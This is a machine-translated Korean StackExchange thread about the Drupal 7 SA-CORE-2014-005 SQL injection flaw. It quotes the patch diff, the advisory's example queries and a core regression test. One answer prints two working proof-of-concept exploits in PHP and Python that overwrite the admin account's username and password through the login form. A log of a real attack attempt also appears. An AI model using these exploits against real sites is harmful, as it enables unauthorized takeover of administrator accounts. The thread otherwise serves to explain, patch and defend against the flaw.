SA-CORE-2014-005 (Drupal 7.32) 용 패치는 어떤 종류의 공격을 방지합니까?


33

에 최대 읽기 https://www.drupal.org/node/2357241 과의 기술적 인 세부 사항 https://www.drupal.org/SA-CORE-2014-005 단순히 실제 패치뿐만 아니라 :

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

이 악용을 활용하여 어떤 종류의 요청을 할 수 있는지 궁금합니다.



핵심을 직접 변경할 수 있습니까? database.inc파일?
Hitesh

@hitesh 당신은 database.inc위의 패치 에서 패치 할 수 있습니다 (또는 손으로, 이것은 분명히 작은 변화입니다). 나는 또한 핵심 Drupal을 완전히 패치하는 것이 좋습니다.
Charlie Schliesser

1
어떤 요청이 버그를 악용하지 않을지 궁금하지만 실제로 버그가 무엇인지 궁금한 사람들을 위해 Programmers.SE에 설명을 게시 했습니다 .
RomanSt

업그레이드 한 후에도 누군가 내 사이트 내에 .php 파일을 배치 할 수 있습니다. menu_router도 확인했습니다. 의심스러운 것은 없습니다. 나는 사이트 감사 및 drupalgetaddon도 실행했습니다
AgA

답변:


18

버그를 발견 한 회사는 Advisory 01/2014 에 대한 몇 가지 예를 가지고 있습니다 . Drupal-pre Auth SQL Injection 취약점 :

추출물:

이 함수는 키가없는 배열로 호출되었다고 가정합니다. 예:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

이 SQL 문의 결과

SELECT * from users where name IN (:name_0, :name_1)

매개 변수 name_0 = user1name_1 = user2.

배열에 정수가 아닌 키가있는 경우 문제가 발생합니다. 예:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

이로 인해 악용 가능한 SQL 쿼리가 생성됩니다.

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

매개 변수 : name_test = user2.

Drupal은 PDO를 사용하므로 다중 쿼리가 허용됩니다. 따라서이 SQL 삽입을 사용하여 데이터베이스에 임의의 데이터를 삽입하거나 기존 데이터를 덤프 또는 수정하거나 전체 데이터베이스를 삭제할 수 있습니다.

데이터베이스에 임의의 데이터를 삽입 할 수 있으므로 공격자는 콜백 기능이있는 Drupal 기능을 통해 모든 PHP 코드를 실행할 수 있습니다.


공유해 주셔서 감사합니다. 주제를 검색하여 찾을 수 없었습니다. The Problem occurs, if the array has keys, which are no integers-이것과 예제 쿼리는 이것을 이해하는데 상당히 도움이됩니다.
Charlie Schliesser

19

7.32에서 진행 되는 작업 테스트 모듈을 확인합니다. 다음 테스트가 7.32에 추가 된 것을 볼 수 있습니다.

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

이를 통해 공격을 만드는 방법에 대한 통찰력을 얻을 수 있습니다.

개념 증명 충분한 시간이 지났고 PoC가 부족합니다.

Poc # 1-PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python- http : //pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

다음은 좋은 분류를 수행하는 블로그입니다. http://www.volexity.com/blog/?p=83


그 POC가 작동하지 않습니다 ....
Kyle Browning

해커가 database.inc에서 $ data를 array_values ​​($ data)로 바꿀 수있는 POC를 게시 할 수 있습니까?
Hans Rossel

나는 이것이 바닐라 드루팔 사이트에서 작동했는지 확인할 수 있습니다. 불행히도 ...
AyeshK

@greggles가 조금 일찍 말했듯이 모든 사람이 아직 메모를 얻지는 않았습니다. 제지하십시오.
pal4life

질문-이 공격이 작동하려면 "? q ="가 필요합니까? 내 서버는 get arg q (또는 Q 또는 % 인코딩 된 동등 항목)로 요청을 삭제합니다. 그냥 궁금해서 우리는 얼마 전에 패치를했는데 침입의 흔적이나 그 어떤 것도 보지 못했지만 q = 요청을 거부하여 운이 좋았는지 궁금합니다.
Kasapo

16

버그를 발견 한 연구원들은 개념 증명을 가지고 있습니다. 다른 사람들도 개념 증명을 개발했습니다. 그러나 그들은 의도적으로 게시되지 않아서 악용 될 가능성을 줄이려고 노력하고 있습니다. 우리는 연구와 구속을 존중하고 여기에 예제를 게시해서는 안됩니다.

일정 시간이 지나고 사이트가 업그레이드되면 학문적 관점에서 개념 증명 공격 코드를 검토하는 것이 매우 흥미로울 것입니다. 그때까지는 불필요한 위험이며주의를 기울여야합니다.

SektioinEins 권고 의 코드는 코드 를 악용하는 방법에 대한 완전한 예가 아닙니다. 취약점을 자세히 설명하지만 실제로 문제를 악용하는 방법을 정확하게 식별하지는 않습니다.


문제가 발표 된 지 몇 주가 지났으며 SektionEins가 블로그 에 여러 가지 개념 증명을 게시했습니다 . 이것들은 활동의 흔적을 거의 남기지 않아서 개발 된 다른 많은 개념 증명과 비교하여 상당히 흥미 롭습니다 (예 : menu_router 테이블에 아무것도 없음).


4

이 취약점은 모든 Drupal 7.31 이하 사이트에서 작동하며 어떤 모듈이 활성화되어 있는지는 중요하지 않습니다. 모든 drupal 형식을 사용하여이 취약점을 악용 할 수 있습니다.

악용은 매우 간단하므로 PoC는 이미 시작되었습니다. Drupal을 새로 설치하면 자신의 서버를 공격하고 사용자 비밀번호를 익명 사용자로 변경할 수 있었지만 그 가능성은 무한합니다.

이 버그는 거의 1 년 전에 https://www.drupal.org/node/2146839 를 통해 알려 졌지만 Drupal Core Security Team의 아무도 응답하지 않았습니다.


보안 문제로보고되지 않았습니까?
Alfred Armstrong

"주요"우선 순위 인 "#security", "검토 필요"상태로 태그가 지정되었으며 기본적으로 7.32의 패치가 수행하는 패치를 포함하는 패치가 포함되었습니다. 아마도 #"보안"앞에는 누군가가 가질 수있는 것을 보지 못하거나 대기열에 너무 많은 문제가있을 수 있습니다. 아무도 그것에 응답하지 않았다는 것이 여전히 놀랍습니다.
Charlie Schliesser

3
보안 문제로보고되지 않았으므로 보안 팀에서 보지 못했을 것입니다. 그러나 예, 그 사람은 보안 문제인지 확실하지 않았으므로 아마도 그럴 것입니다.
Berend de Boer

2
버그가 아니라 "기능 요청"으로보고되었습니다. Drupal 코어의 안정적인 버전에서는 새로운 기능이 허용되지 않으므로 일반적으로 보이지 않습니다. 보안 문제를 공개적으로 게시해서는 안됩니다. Drupal 보안 문제를 보안 팀에보고하는 명확한 페이지가 있습니다. drupal.org/node/101494
Hans Rossel

4

이것이 어떻게 악용 될 수 있는지, 그리고 얼마나 많은 시간과 노력이 들었는지 궁금했습니다. 따라서 로컬 호스트에 이전 Drupal 7 버전을 설치하고이 버그를 리버스 엔지니어링하기로 결정했습니다. 내가 발견 한 것은 HTML / SQL에 대한 기본 지식을 가진 모든 사람에게 Drupal 사이트에 대한 전체 액세스 권한을 부여하는 충격적인 버그였습니다.

30 분도 채 안되어 익명 사용자를 사용하여 Drupal 7에 SQL 인젝션을 실행할 수있었습니다!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

참고 : Drupal은 SHA512를 소금과 함께 사용하므로 실제로 로그인 할 수 없으므로 여전히 로그인 할 수 없습니다. 의도적으로 나는 여기에 코드를 넣지 않았지만 Drupal 지식이 거의없는 사람은 이것을 극복하고 쿼리를 구성하여 모든 액세스 권한을 부여합니다!

이것은 Drupal이 얼마나 안전하고 누가 이런 일을 담당하는지에 대한 질문을 엽니 다. 분명히이 버그는 1 년 이상 알려져 있었지만 ( https://www.drupal.org/node/2146839 ) Drupal.org에 아무도 반응하지 않았습니다. 실수로 또는 의도적으로? :)


1

악의적 인 SQL 문이 실행을 위해 입력 필드에 삽입되어 데이터베이스 내용을 공개하는 등의 SQL 인젝션 취약점을 수정했습니다. 이 수정은 익명 사용자가이 취약점을 악용 할 수 있기 때문에 가능한 빨리 적용하는 것이 중요합니다.

보안 팀이 즉시 업데이트 할 수없는 경우 전체 업그레이드를 수행 할 수있을 때까지 동일한 보호를 제공하는 이 패치 를 적용 할 수 있습니다 1 . 또한 보안 팀은 이 문제와 관련된 몇 가지 FAQ 를 준비했습니다 . 유지 관리 모드로 사이트를 두는 것은 도움이되지 않습니다업데이트를 적용한 후 캐시를 지우십시오 또는 당신이 7.32를 사용합니다.

또한 사이트가 손상되지 않았는지 확인해야합니다. 이미 문제를보고하는 사이트가 있습니다. 다음은 Drupal 7.32로 업데이트하는 것만으로는 충분하지 않습니다. 사이트가 이미 해킹되었을 수 있습니다.

10 월 15 일에 수정 사항을 적용했으며 내 사이트에서 이미 취약점을 악용하려는 사람을보고했습니다.

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.